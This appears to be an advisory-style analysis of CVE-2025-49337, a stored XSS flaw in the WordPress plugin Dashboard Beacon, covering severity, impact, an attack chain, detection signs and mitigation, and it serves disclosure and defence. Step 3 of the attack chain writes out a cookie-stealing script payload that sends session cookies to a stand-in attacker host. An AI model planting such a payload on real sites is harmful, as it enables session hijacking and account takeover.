CVE-2025-49337: 
WordPress vulnerability analysis and mitigation

CVE-2025-49337 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Dashboard Beacon (wp-dashboard-beacon) by janhenckens. It affects all versions up to and including 1.2.0, with no official patch available as of the time of disclosure. The vulnerability was reported by HunSec on October 1, 2025, and published by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An attacker with Administrator or Developer-level privileges can inject malicious scripts into the plugin's settings or beacon configuration fields, which are then persistently stored and rendered in the WordPress dashboard for other users. Exploitation requires high privileges (PR:H) and user interaction (UI:R), meaning a privileged user must visit the affected page for the payload to execute. The changed scope (S:C) indicates the injected script can affect users or resources beyond the attacker's own session (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within the WordPress admin dashboard, which executes in the browsers of other authenticated users who visit the affected page. This can lead to session hijacking, credential theft, unauthorized administrative actions, or redirection of users to malicious sites. The confidentiality, integrity, and availability impacts are each rated Low, with the scope change indicating potential for cross-context script execution beyond the attacker's privilege boundary (Patchstack).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority and notes it is unlikely to be exploited, though it acknowledges that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Dashboard Beacon plugin (wp-dashboard-beacon) version 1.2.0 or earlier, using tools like WPScan or by inspecting publicly accessible plugin metadata.
2. Obtain privileged access: Gain Administrator or Developer-level credentials to the target WordPress site (e.g., via credential stuffing, phishing, or reuse of compromised credentials).
3. Inject malicious payload: Navigate to the Dashboard Beacon plugin settings in the WordPress admin panel and insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field such as a beacon message or configuration option.
4. Trigger execution: Wait for another authenticated admin or privileged user to visit the WordPress dashboard page where the beacon is rendered, causing the stored payload to execute in their browser.
5. Achieve objective: The executed script can exfiltrate session cookies, perform actions on behalf of the victim, or deliver further malicious content (Patchstack).

• Logs: WordPress admin access logs showing unexpected POST requests to Dashboard Beacon plugin settings pages from unusual IP addresses or at unusual times.
• File System: Unexpected modifications to plugin configuration files or database entries associated with the wp-dashboard-beacon plugin containing script tags or encoded JavaScript.
• Network: Outbound HTTP requests from admin browsers to unknown external domains shortly after loading the WordPress dashboard, potentially carrying cookie or session data in query parameters.
• Database: WordPress wp_options table entries for the Dashboard Beacon plugin containing <script>, javascript:, or encoded XSS payloads in stored values.

As of the disclosure date (December 31, 2025), no official patch is available for the Dashboard Beacon plugin. Site administrators are advised to deactivate and remove the wp-dashboard-beacon plugin until a patched version is released. As a compensating control, restrict administrative access to trusted users only and enforce strong, unique credentials with multi-factor authentication. Patchstack customers received early warning and virtual patching protection prior to public disclosure (Patchstack).

The vulnerability was discovered by security researcher HunSec and disclosed through Patchstack's coordinated vulnerability disclosure process. Patchstack classified it as low priority with unlikely exploitation impact. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).